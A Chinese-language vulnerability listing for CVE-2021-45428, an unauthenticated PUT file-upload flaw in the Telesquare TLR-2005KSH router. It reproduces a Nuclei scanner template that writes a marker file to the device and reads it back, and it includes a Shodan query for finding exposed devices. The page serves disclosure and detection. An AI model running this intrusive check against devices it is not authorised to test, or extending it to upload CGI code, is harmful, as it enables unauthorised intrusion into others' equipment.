CVE-2021-45428: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload

日期: 2025-08-01 | 影响软件: Telesquare TLR-2005KSH | POC: 已公开

漏洞描述

TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.

PoC代码[已公开]

id: CVE-2021-45428

info:
  name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload
  author: gy741
  severity: critical
  description: |
    TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized accessand data leakage.
  remediation: |
    Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability.
  reference:
    - https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing
    - http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45428
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45428
    cwe-id: CWE-639
    epss-score: 0.90912
    epss-percentile: 0.99617
    cpe: cpe:2.3:h:telesquare:tlr-2005ksh:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: telesquare
    product: tlr-2005ksh
    shodan-query: http.html:"TLR-2005KSH"
  tags: cve2021,cve,telesquare,intrusive,fileupload,packetstorm

http:
  - raw:
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        PUT /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

        CVE-2021-45428
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 404 && status_code_2 == 201'
          - 'contains(body_3, "CVE-2021-45428") && status_code_3 == 200'
        condition: and
# digest: 4a0a004730450221008b1197d2886c110d73c4cebfd5a7b5ceb4ce2b6885ea0551a4cd7604e77df17d0220533f89eae533b6b0a5062b919ab795b4a091c150fd3f8f4abc9dfc79897ea9fb:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45428.yaml

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